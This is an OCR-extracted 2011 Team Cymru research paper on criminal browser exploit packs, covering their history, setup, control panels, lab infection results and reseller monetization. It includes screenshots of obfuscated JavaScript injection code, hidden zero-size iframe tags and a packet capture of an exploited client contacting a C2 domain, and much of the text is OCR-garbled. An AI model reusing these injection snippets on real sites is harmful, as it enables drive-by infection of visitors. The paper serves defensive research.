elzserf

('

if (file_exists

ZTraFfic
" . $Us

$filter_f

Iﬂfﬂ"
er [ nfo

Spercent

‘” erinfo

:t_pand‘ ’ '-i\

?” |
fUserInfo["u’) = & ,1' \
e $“~~rl ut.-u

T &&

tlencne =

§fil ter T'llr‘ ram Sk

&
t
+
)
.
r
T
:l
2
i
-

$rowi=mysql_fetch_ array(mysql_querg(S
“.$UserInfo"u"] " " .SUserinfol —Sy;

$USEFZHfO % 1 =
#f L lnysql_query(®

fUserInfol “u” ". " . SUserlInfo )
" " $Tf '-".T.ll _Lfl - - 2 " -
" ._£I'|>I__,’ _r|':|:|
mysql_close();

ex1t();

© Team Cymru 2011

"
—
“
m



Introduetion

Criminals refer to it as a “BEP”. As the name intones the entire computer exploit process
begins with a web browser. The web browser’s ubiquitous use in daily life has given rise to
the Browser Exploit Pack as the infection vehicle darling of the Underground.

There are multiple Internet channels available for pushing malware to a victim such as
email, P2P file sharing, instant messenger, and social media. A live exploit pack only
requires a victim “drive by” — a trivial website visit — a soft push after exploring layer 7 for
vulnerabilities.

We installed and configured over 40 exploit packs® in order to better understand the
different family’s value in criminal use scenarios. In this paper we chronicle the exploit pack
genesis and historical evolution. We discuss the spectrum of technical acumen required to
successfully install and use different exploit pack families. Finally we detail the
monetization and code protection mechanisms currently in place as well as the overall
effectiveness of these different exploit pack families.

For optimal exploration we created dedicated networks for exploit pack installation. Our
drive by victim machines were running Windows XPThe client machine acting as a drive by
victim was running Windows XP SP2 and we excluded all further patches? To further give
these exploit packs every chance of exploitation success we installed old versions of
Internet Explorer, Firefox, Opera, Adobe Reader, Flash, Java Virtual Machine, Windows
Media Player, and other applications. Generally the application version was matched to a
release in late 2004 or early 2005 since that was the approximate time frame that the first
exploit packs were released.

1 A special thank you to the security community for their assistance in locating/sharing various exploit packs

2 This was a reasonable operating system state since Windows XP SP2 use is still pervasive.
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roldtion

We remember the first exploit packs being publicly released in 2005. Prior to that most
exploit capable malware was written in C++ and used in IRC. One of the first available
sources was SDBot in 2002, and similar exploit capable IRC bots were released in the
following years. In the beginning IRC bots used exploit techniques that primarily focused on
services scanning® and using vulnerabilities for those discovered services. Although
scanning is still prevalent, Microsoft’s introduction of the Windows XP SP2 default enabled
firewall led to decreased scanning effectiveness and resulting lower numbers of mass
infections.

Early IRC bot’s update channels often relied on HTTP. Logically, HTTP quickly became the
criminal control protocol of choice and has long since eclipsed IRC. The earliest exploit pack
families like Mpack, Icepack, and Infector have evolved into newer versions (lcepack
Platinum) and newer families (Black Hole, Incognito, Bleeding Life). In fact, most of the
exploit pack families have undergone multiple version updates in the past 6 six years. We
tested 5 versions of 0x88, 3 versions of Eleonore, 4 versions of El Fiesta, 5 versions of
Icepack, 3 versions of Fragus, 2 versions of NeoSploit, 6 versions of Mpack, etc.

Typically the version updates we examined contained (naturally) additional exploits, but
many also contained bug fixes and more intuitive and visually appealing control panel
interfaces through the inclusion of AJAX* functionality and larger images. For example,
Black Hole is currently very popular®, but the exploits it uses are almost identical to many
other packs, likely indicating that the control panel — a tasteful and well-designed user
interface that incorporates professional CSS, crisp icons, and Javascript - is responsible for
its prolific Underground status.

3 Agobot, Spybot, rBot etc.
4 Asynchronous JavaScript and XML

5> http://www.eweek.com/c/a/Security/Blackhole-Exploit-Kit-Behind-USPS-Attack-224683/
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Imstallation

Essentially a browser exploit pack is a bundle of PHP and HTML files coupled with a list of
exploit files (sometimes named by CVE®) designed to target the OS, browser, or other
application. Once installed, the exploit pack provides an easy to use control page for the
exploit process, accessible to anyone with basic Internet experience.

Listing of several exploit codebase in Zero exploit pack

Newer generations contained additional JavaScript and Cascading Style Sheet (CSS) files for
an enhanced control panel experience, but fundamentally all of these packs were similar.
Even the directory structure deviated only slightly between families.

6 The Common Vulnerabilities and Exposures framework : cve.mitre.org

m 3 © Team Cymru 2011




When we began installing we found that few of the exploit packs were accompanied by
installation instructions. Crimepack and Icepack were two exceptions that included
reasonable documentation.

Ice Pack

Requirements

IcePack works with PHP and MySQL. You need PHP version 4.3 or higher and
MySQL 4.0 or higher. Safe mode PHP should be disabled.

License Agreement

Buying IcePack, you agree with the following license agreement terms:

e |[cePack is created exclusively for testing your own software. The author is not
responsible for your actions.

« |s forbidden the resale and use of source code IcePack for commercial
purposes. Otherwise, you will be denied a license.

Installation

1. Edit your db.php according to your data.

2. Get all the files on your server in binary mode.

3. Download this file to your computer. Extract from the downloaded archive the
file GeolP.dat. Upload GeolP.dat to your server.

4. Set permissions 777 to load folder, admin/tmp folder and the file config.php.

5. Run the installation script install.php and follow the instructions.

Note: After installing the necessarily enter the URL in your system!

2007 © IDT Group

Install Manual included with Ice Pack

Every exploit pack we tested relied on LAMP’. Successful setup required a basic knowledge
of Apache, PHP installation, MySQL, and a general familiarity with UNIX. The “Infector
exploit pack” (2006) contained a GUI option on the setup.php page for database creation,
but it failed to create our database.

7 Linux/Apache/Mysql/PHP
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Almost every exploit pack we configured required a MySQL database.
When a database layout wasn’t included with the source, we were left
guessing about the specific database structure. As most databases
looked similar and the PHP code provided clues, we were ususally
successful in rebuilding the databases to get the code to work.

INFECTOR

MYSQL Settings The Unique exploit pack provided a well-organized and straight

forward config.php file for variable configuration. All of the exploit
packs contained a config.php or admin.php file which was almost
always located in the root directory or in the “admin” directory. In
addition to specifying the correct path for the exploit redirection PHP
files, other important variables included credentials for the database
and administrator control panel as well as the databases’ location. The
administrator page was usually found in /admin/admin.php, /admin/
stats.php, or /stats.php. The older exploit packs contained fewer

r— "cu“} directories and a longer list of files in the root directory.

The newer exploit kits referenced control panel password hashes that
required editing where the password was not explicitly provided.
Generally the hash was created from a typical SQL password

Infector setup

I A config.php (php) <?

configuration file with admin username and password specified

Approximately half of the exploit packs we tested contained a .sql file for importation,
which naturally made the database configuration easier. Other exploit packs contained no
help files for the expected database structure. We were left guessing. One table? How
many fields? A fair amount of trial and error was required.
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Conversely, Eleonore was a perfect experience with easy database setup. Once the .sql file
was imported the control panel immediately displayed the statistics from the last criminal
who created the file.

Browsers: Traffic: Loads: Percent:
Chrome 4.0 2 0 0
Chrome 5.0 1 0 0
FireFox 2.0.0 1 0 0
FireFox 3.0.17 3 0 0
FireFox 3.0.3 5 0 0
FireFox 3.0.4 1 0 0
FireFox 3.0.7 1 0

FireFox 3.0.8 1 0 0
FireFox 3.5.2 0 0
FireFox 35.3 1 0 0
FireFox 3.5.5 1 0 0
FireFox 3.5.6 2 0 0
FireFox 3.5.7 21 0 0
FireFox 3.6 5 0 0
iPhone 1 0 0
Mobile phone browser 1 0

Mozilla 5.0 0 0
MSIE 6.0 8 2 25
MSIE 7.0 19 0

MSIE 8.0 26 0

Opera 9.50 1 0

Opera 9.63 2 0 0
Opera 9.64 9 0 0
Opera 9.80 24 0 0
Opera Mini/mobile phone 1 0 0
Power PC 3 0 0
Unknown browser :( 3 0 0
Total stats: 148 2 1.35

Eleonore explots pack
Fast statistic :
Traffic: 148 / Loads: 2 / Percent: 1.35

Operation Systems: Totals
ws XP 19

ws Vista

21
Linux 8
Power PC
Unknown OS 3
J 200 2
i S 1
Mobile phone 1
Mac OS 1
Windows CE 1

1

Eleonore exploit pack statistics
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The administrator control panels were all very similar because they contained the same
functionalities and for the most part changes in families or versions all appeared to be
incremental copies of each other

Login

Sploit25 login screen with password only option
Value added control panel elements included JavaScript (a few included encoding) iframe

generation, local or remote file upload for a malicious payload, and granular searching and
file loading across the infected victim set.

Fn“n“s Statistics | Files | Sellers | Tral:c links | Preferences | Logout

Total statistics
¥eveTate? Show Iinks for: Summary data v

8 Ajax autoreload

http://172.16.13.10fragus/show.php

Percentage: 0

<script language="JavaScript>var CRYPT=
{signatwre:'BXcATYewQ',_keySirABCDEFGHIDKLMNOPQRSTUVWXY Zabedelghijkimng 7
nput){var output=";var chrl chr2 chr3;var encl enc2 enc3 encd,var i=0;input=input.replac ).while(i<input.length)
{encl=thss, keyStr.indexOf(input.charAt(i++)).enc2=this, _keyStr.indexOl(input.charAt(i++)) yStr.indexOl(input.charAt(i++))
encd=this._keyStr.indexOf(input.charAt(i++)),chrl={encl<<2)|(enc2>>4),chr2=((enc2&15)« f »2).chr3=((en
<<B)|encd output=output+String. fromCharCode(chr 1).il{enc3!=64)){output=output+String fromCharCode(che 2).}
if{enca!=64){output=output+String fromCharCode(chr3)}}
oulput=CRYPT. _utl8_decode(output).return output;}, utts_decode:function(uthext){var string=",var =0.var
gth){c=utftext. charCodeAt(i);if(c<128){string+=String.fromCharCode(c),i++;Jelse if((c>191)&&
) Stng.fromCharCode(((c&31)<<86)

Fragus v1.0 Powered by Fragus
Sales 99-68-78

Support: 99-69-78

Fragus automated javascript generating form
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FeoRael -

The traffic

Adjustments

Level 0

<iframe src="localhost/index.php" width="@" height="@"></iframe>

Level 2

script language="JavaScript"> -
eval(unescape("document.write%28String.fromCharCode%2860%2C105%2C102%2C114%2C97%2C109
%2C101%2C32%2C115%2C114%2C99%2C61%2C34%2C108%2C111%2C99%2C97%2C108%2C104%2C111%2C115%
2C116%2C47%2C105%2C110%2C100%2C101%2C120%2C46%2C112%2C104%2C112%2C34%2C32%2C119%2C105 ~

Icepack iframe generating screen

rRESSELER

Eleonore explofts

Fast statistic
Traffic: 148

File upload is succesful

Choose File 1o fie choser

»SEND

Date: Time: URL fromupload: File size
OKB ( bytes)

Eleonore upload screen

URL for traffic

hitp:if127.0.0. Veleonorefindex. php?s=0837b528593ab0fa22bde6289487d309

lframe code

<iframe src="hitp:/127.0.0.V/eleonorefindex.php?s=0837b528593ab0fa22bde6289487d309" width="0" height="0 *

Eleonore iframe generating screen
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A number of the older exploit packs like Adpack, Gpack, Siberia, and Yes contained foreign
character sets that made navigating the control panel difficult, and obviously they were
built for a non-English speaking audience. The most prominent ‘foreign’ language we
encountered was Russian. A few control panels even presented an English or Russian login
option.

Authorization

Russian

Language options in exploit kits

Black Hole was another prominent exploit pack built in Russian for the ever present Russian
speaking exploit pack community. It was built with an English and Russian Language login

option.

O Blackhole * STATISTICS THREADS SECURITY

ADPIY Autoupdate interval: 30

Start date: End date:
SeC.
Blackhole with English menu
O Blackhole ? CTATHCTHKA NOTOKH OAWIB  BE3ONACHOCTB HAC

Hasano: = Komen: I npmlelm Asroobrosnesne: 30 ce

Blackhole with Russian menu




The Blackhole exploit pack presented a highly evolved user interface that extensively used
dynamic AJAX page updates. One of the key updates was the user defined statistics
widgets. The option to block specific HTTP referrers or IP addresses was also very intuitive.

STATISTICS THREADS SECURITY PREFERENCES

Threads

BROWSERS

O Opera
? Chrome

0s

& Windows XP

COUNTRIES

" United States

Avant
THREADS
Canmind

Kongqueror

Lynx

Ommniwed

Seamonkey

Blackhole personalized widget option

O Blackhole ® STATISTICS

BLACK LIST

REFERERS 1y

URL P : :

IMPORT FROM FILE

Browse...

EXPORT TO FILE

Blackhole security options
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FFECTIVENESS

Exploit packs are criminally appealing because victim exploitation is quick and seamless if a
vulnerability exists. The victim may not notice anything different in their computer’s
behavior post drive-by. The majority of exploit packs we tested simply required the client
computer visit the root index.php page. The newer families required a drive-by to a
specifically crafted URI that corresponded to a specific “user” (renter) of the managed
exploit pack.

The exploit pack itself resides squarely in the middle of a victim computer’s journey to
joining a multi-source malware HTTP botnet like SpyEye. The first step is typically HTTP
redirection. A victim visits a webpage that contains a hidden <iframe> which redirects the
victim’s browser to another redirection page or to the HTTP server hosting the exploit pack.
The exploit pack attempts to exploit a list of vulnerabilities on the victim computer. If
exploitation is achieved then the victim computer maintains a “keep alive” state with the
exploit pack server. The exploit pack has opened a door and is keeping it open. At this point
a malicious payload may be pushed to the victim for installation. These payloads typically
involve a bot binary. Once the binary is installed, the victim machine joins the intended
HTTP botnet. There are many different variations on this drive-by exploitation life cycle, but
the aforementioned steps are typical.

drame

iframe infection graph

In evaluating the potency and effectiveness of any particular exploit pack, we recognized
that our testing environment was incomplete without using the specified HTTP referrers
that might prevent the exploit pack from executing the correct routine. The newer exploit
packs will only perform if the HTTP referrer is correct, the assumption being that without
the correct referrer (the designed HTTP redirector) the index page visit is hostile — a
wayward web visit at best and a security researcher at worst.
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Gpack and Adpack infected our client via Internet Explorer and subsequently registered the
infection statistic in the control panel even though we were unable to read the actual text.

syste

Anddi oieeia: P24 Unknown
Anaai idiaeond:
laléé 101aed:
10714¢a 1 IE:

Tiadaoeiiina nenodia:
Windows XP SpP2

Adadcadi:

MSIE

G-Pack text t unreadable

faday noadioesa - Nodaii - Di6a0asi - Caodioed IP - Céa=4iitd IP - [=éfioeoi - Adéoe

[ fanay noaoenoeéa I Top10 iodai |
[Andai oéoia Ja |>< Unknown [ |
|Afdal gaadagie Ja '

ldiaea [100%

ll0iaed i 1E [100%

| Noaoenioeea i 40a6gadai

IMSIE I

[ Noaoenoeéa i IN

Windows XP SP2 I

Adpack unreadable text

Adoaia

Non-English language in Siberia pack
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A number of exploit packs compromised our victim client though the database exploitation

statistic never registered. Zopack (anti-American sentiment included) was one such
example

zoPAck vi.02
Login:
Password:

Enter |

ZoPack Logo

Loads

zoPcv1.02

Countries
Referers

Clean Time © | Tosay »

0(0%)

ZoPack statistics page
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After visiting the Zopack index.php page the only visual indication of exploit activity was
the Adobe Reader license agreement dialogue box which was only present because the
application had never been opened (as set during image creation). Otherwise, from a
victim perspective the exploitation was completely quiet.

Address | ) Wtp:jf172.16,13.10/20pack] 3

Adobe Reader - License Agreement 3

License Agreement

To continue, you must sccept the End-User Licerse Agreement.
Flease select the language you would lke to use to read the agreement.

Select Language: | Enghsh N

Adobe reader license agreement popup during exploit
Immediately after the pdf.pdf file was transferred and our machine was exploited, the
client made a DNS A record query for bOt.cc which was no longer a valid domain at the time
of analysis.

357 5677.0960172.16.13.16 172.16.13.10 TCP 4577 > http [FIN, ACK]) Seq=660 Ack=913 Win=64624 Len=0

359 5677.1013172.16.13 172.16. rid > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 SACK_PERM=1
360 5677.1015172.16.13.10 172.16.13.16 TCP http > rid [SYN, ACK] Seg=0 Ack=1 Win=5840 Len=0 MS$=1460 SACK_PERM=1
361 5677.1016172.16.13.16 172.16.13.10 TCP  rid > http [ACK] Seq=1 Ack=1 Win=65535 Len=0

362 5677.1020172.16.13.16 172.16.13.10 HTTP GET /zopack HTTP/1.1

363 5677.1022172.16.13.10 172.16.13.16 TCP  http > rid [ACK] Seq=1 Ack=330 Win=6432 Len=0

364 5677.1051172.16.13.10 172.16.13.16 HTTP  MTTP/1.1 301 Moved Permanently (text/html)

365 5677.1116172.16.13.16 172.16.13.10 HTTP GET /zopack/ HTTP/1.1

366 5677.1492172.16.13.10 172.16.13.16 TCP  http > rid [ACK] Seq-SS: Afk-&éo Win=7504 Len=0

367 5677.1674172.16.13. 1 72.16.13.1 HTTP
. 72.16.13.1 72.16.13.1 HTTP
2172.16.13.1 /2.16.13.1 TCP

370 5677.1970172.16.13.10 172.16.13.16 TP [TCP segment of a reassembled POU)
371 5677.1971172.16.13.10 172.16.13.16 TCP  [TCP segment of a reassembled POU]
372 5677.1971172.16.13.16 172.16.13.10 TCP rid > http [ACK] Seq=1035 Ack=3969 Win=65535 Len=0
373 5677.1972172.16.13.10 172.16.13.16 TCP  [TCP segment of a reassembled POU)
374 5677.1973172.16.13.10 172.16.13.16 TCP [TCP segment of a reassembled POU]
375 $677.1974172.16.13.16 172.16.13.10 TCP rid > http [ACK] Seqel1035 Ack=6889 Win=65535 Lens0
376 5677.1974172.16.13.10 172.16.13.16 TCP [TCP segment of a reassembled POU]
377 $677.1976172.16,13.10 172.16.13.16 TCP  [TCP segment of a reassembled POU]
7

72.16.13.1 72.16.13.1 JGp s = - ne65535 Lens0
72.16.13.1 72.16.13.1 HTTP _ HTTP/1. OK__(aj cation
72.16,13.1i 72.16,13.1i TP rid > http eqs Acks Win=64854 Len=0

381 $692,2065172.16,13.10 172.16,13,16 TCP  http > rid [FIN, ACK] Seqel0490 Acks=1035 Wins8576 Lens0

382 5692.2066172.16.13.16 172.16.13.10 TCP  rid > http [ACK]) Seq=1035 Ack=10491 Win=64854 Lens0

385 5723.0657 Inte]l_78:4c:8e 3Com_f1:36:64 ARP who has 172.16.13.167 Tell 172,16.13.25

386 5723.0658 3Com_f1:36:64 Intel_78:4c:8¢ ARP  172.16,13.16 is at 00:04:75:f1:36:64

387 5741.0926172.16.13.16 172.16.13.255 BROWSE Local Master Announcement 000475F13664, workstation, Server, NT workstation,
3 16.13. andard query A BOt.cc

389 5782.6037172.16.13.16 4.2.2.2 DNS  Standard query A bOt.cc

390 5783.30244.2.2.2 172.16.13.16 DNS  Standard query response, No such name
391 5783.30258.8.8.8 172.16.13.16 ONS  Standard que se, No such name
. . ald. NENS  Name

Exploit code requesting the domain bOt.cc
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Sploit25 was another exploit pack that infected our client, and did not increment the
control panel infection counter. The only visual sign of exploitation was Adobe Reader
momentarily embedded in Internet Explorer.

Some exploit pack HTTP landing pages were blank during exploitation and others displayed
a 404 message like Gpack. A blank page containing an embedded iframe with a 1x1 pixel
was invisible and therefore unnoticed by our victim.

Sploit25 showing a blank page

Other exploit packs including Armitage, Eleanore, and Icepack all displayed various dialogue
boxes during exploitation.

) http:/f172.16.13.10/armitage] A

Microsoft Internet Explorer EI

-
. | ) Click to run an ActiveX control on this webpage

6 €:{S87ekhV.axe is not & vaikd WinX2 spplcation.

Internet Explorer - Security Warning

Do you want to install this software?
ﬁ MName: Bol Downloader
Publisher: Rediff.com India Limited

E]More options [ Install ] [ Don't Install }

@ ‘While files from the Internet can be useful, this File type can potentially harm
wour computer, Only install software from publishers you trust, What's the risk?
. () O/ Popup messages during exploitation

Overall, we encountered a 30% infection rate “out of the box”. A number of variables were

likely responsible for an exploit pack’s failure to exploit our victim computer. The two most
prevalent reasons were missing files and/or incorrect HTTP referrers.
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A growing number of exploit packs have incorporated functionality that adds additional
users or sellers to the database. Fragus was one of the first exploit packs that allowed the
administrator to add a seller and provide him with a unique URI. The control panel
interface allowed the administrator to track installations originating from any particular
seller®. A seller could drive traffic to the exploit pack administrator and receive the

associated compensation.
'An“s Statistics

statistics:
£ Add seller

SLLEGILGRIEE - Random file v

Exploits: mdac

paf
aolwinamp
directshow
ms09002
snapshot

com

(<IN CINC I I < B < I C I

spreadsheet

Add

Sellers list:
Seller name Uploading file

Fragus exploit pack add seller option

The URI provided to the seller was comprised of a variable within a link. The link variables
we observed were typically hash values. These hash values were based on user specific
settings or a randomly generated string. This allowed the administrator to track and pay for
the number of installations by individual seller.

Add seller User | crim1

http://localhost says:

0 Copy this link (Ctrl+C)

2.20/inco20/exps/in.php?a=QQkFBWQGBAANAWINEkcJDC

0©2011 € cancel </ OK

The applicable exploit packs also provided sellers with a personalized statistics page which
displayed installations and HTTP visits.

8 Some exploit packs referred to these individuals as “resellers”.
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Incognito (and other recent packs) offered an option to rent the pack to multiple users,
which allowed the exploit pack owner to act as a broker. The system tracked the ‘users’ and
connected ‘sellers’ by supplying separate statistics for each seller and login function for
each user as well as provided options to host different executables for each user.

E sSELLED SELLERA SELLER) SELLIR) I

Chart showing user and seller layout in Incognito
Since the creation of Pay-Per-Install (PPI), “shaving”, - a percentage of installations are
subtracted from the actual total — has been a favorite criminal pastime. This practice
regularly leads to conflicts between the ‘seller’ and the ‘controller’ as statistics fail to
properly coalesce. We have observed botnets were 90% of the traffic was ‘shaved’ from
the bot herder’s counter.

During Incognito analysis we noticed that the administrator interface contained an option
to set a ‘shave’ percentage for each user.

3 Users Add usei
User name:
Password:
Percent of traff: 0% v
Comment: 5%
10%
Add 15%
20%
User name 30% ents

Shave percentage settting in Incognito

The first infection point within the exploit code page was a ‘percent of traff’ value which
was used to discount HTTP visit counters from the sellers’ user group. In our particular
instance, 30% of the total users’ traffic was unrecognized.

Landing page PHP code showing ‘shaving’ calculation
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These nulled hits’ were viewable on a designated page. This ‘Special Accaunt’ titled page
allowed the administrator to set a special executable for each user in the system. The
administrator was siphoning ‘nulled’ traffic from system users for additional profits.

Users Sellers Files Configs Exit

INFORMATION

Sellers Add seller

Seller name Uploading file Hosts Runs Percentage

Incognito 2.0 © 2011

Statistics page for normal user

We successfully infected 6 machines (see above) out of 8 total hosts that visited our exploit
page. If our Incognito instance was live on the Internet these statistics are what the seller
would have seen. However the ‘special accaunt’ page displayed the actual traffic statistics
for ‘userl’ as 11 (8+3). These 3 visits represented the shaved traffic percentage that was
available for further administrator redirection.

Exit User name: Special accaunt

Home Sellers Files Exit

Sellers
INFORMATION
Seller name Uploading file Hosts Runs Percentage
Pt
useri 8 1serl new.exe 3 0 0

Incognito 2.0 © 2011

Hidden shaving calculation statistics

18 © Team Cymru 2011




So how are these ‘runs’ monetized? The exploit pack’s objective is to install an executable
on the exploited client. These executables often fall in the banking Trojan class like SpyEye
or Carberp, which intercept online banking transactions.

Fake antivirus scareware is another popular executable pushed via exploit packs. Below is a
fake antivirus package that was installed subsequent to our machine’s infection via a Black
hole exploit pack. The scareware caused a constant stream of system infection messages
while at the same time the browser was rendered useless with virus notifications.

4

A\ Attention: DANGER!

sre, adwate 2 and sergiete Aart

detected 27 crttwcal system objects.

F XP Anti Spyware - Unregistred Yersion e

Computer securty is at rink! Your PC is still under
mahware attack. Damgerous programms were found Lo be
running i the backgrosad. System crash and identity
theft are Mkely.

Fake antivirus messages

This fake anti-virus installation would count as a ‘run’ for the ‘seller’ and translate into a
micro-payment, which when multiplied by thousands of victim computers equals real
money.

) Severe system damage!

Spyware and vieuses datected in the badkground, Senstve
system componerts under attack? Data loss, idantity theft
and system corruption are possble. Act now, dick here for 2
Free seCurty scan.

&) Privacy alert!

Rogus malwara detectad n your system, Data lasks and
system damage are possble, Chck here for & free securty

scan and spyware delstion,
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PRO

An exploit pack is valued by its effective exploitation rate, support availability, and value
added functionality. When exploit pack code is leaked to the criminal public, the user value
immediately diminishes. Exploit pack authors all have the same problem: the buyer has
access to the source code. There is also the possibility that a buyer might marginally modify
the code and sell it as a different competing family/brand. To protect their intellectual

property, some exploit pack writers have relied on PHP source code encoding.

The Blackhole exploit pack is one example where the source was protected using loncube.’
Zend is a different encoding product used by other exploit packs. When loncube is used,
the technical skills required to setup a working exploit pack slightly increase as the loncube
libraries must be correctly installed. A default LAMP installation is not sufficient to host the
code.

These tools do provide a layer of protection and criminals are constantly searching for
methods to defeat the protection. This has created demand for a ‘dezending’ or ‘decoding’
service. In our experience these services produced mixed results. While we observed
successful ‘dezending’ examples, loncube decoding appeared to be more challenging.
Several freeware tools have appeared in the public domain advertising loncube decoding
capabilities, but our analysis indicated that one of those tools was only partially able to
decrypt the code, leaving the majority of it obfuscated and unusable.

Tools like loncube offer the exploit pack author or re-seller additional advantages by
restricting the code’s usability to a specific IP address or domain name. For each visit, the
loncube code check’s if the page is hosted on a server using the correct domain or IP
address. It can also perform a sanity check based on the server’s system time. This presents
the exploit pack market with a new type of commodity. The code can be conditionally sold
and prices set accordingly. For example, underground advertisements tout exploit packs for
sale with a 6 month license that is limited to 1 specific domain.

9 hxxp://www.ioncube.com - loncube is a completely legitimate tool which offers programmers PHP code / intellectual property
protection.
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In 2005, the authors of browser exploit packs had little patience for users who were incapable of
using Linux, setting up a MySQL database, or correctly securing an Apache installation. Six years
later BEP authors want to sell to non-technical fraudsters. These users are not primarily interested
in the theft and replication of the pack and they are happy to rent an exploit pack installation and
forgo the configuration headaches.

Criminal SaaS (Software as a Service) is not a new concept, and exploit pack authors may look to
create new packs using server side frameworks like Rails where buyers can host on managed
services such as bullet proof hosting criminal versions similar to Heroku. These systems allow for a
quick and scalable deployment while at the same time keeping the back end code opaque.

We see no reason for the exploit pack’s (especially managed) popularity to decrease in coming
years. Users who patch and update are generally immune to drive by attacks, unless a previously
unknown exploit is in use. Given the security community’s quick response to any new threat, even
a pack containing a “0 day” exploit probably loses its initial potency within 48 hours.

Future packs will continue to bundle stale and new exploits while improving the control panel
interface and adding easy use features that enable fraudsters to diversify their revenue streams.
We believe exploit pack authors will delay development work on mobile browser exploit packs
until criminal demand for traditional packs decreases significantly across the Underground.
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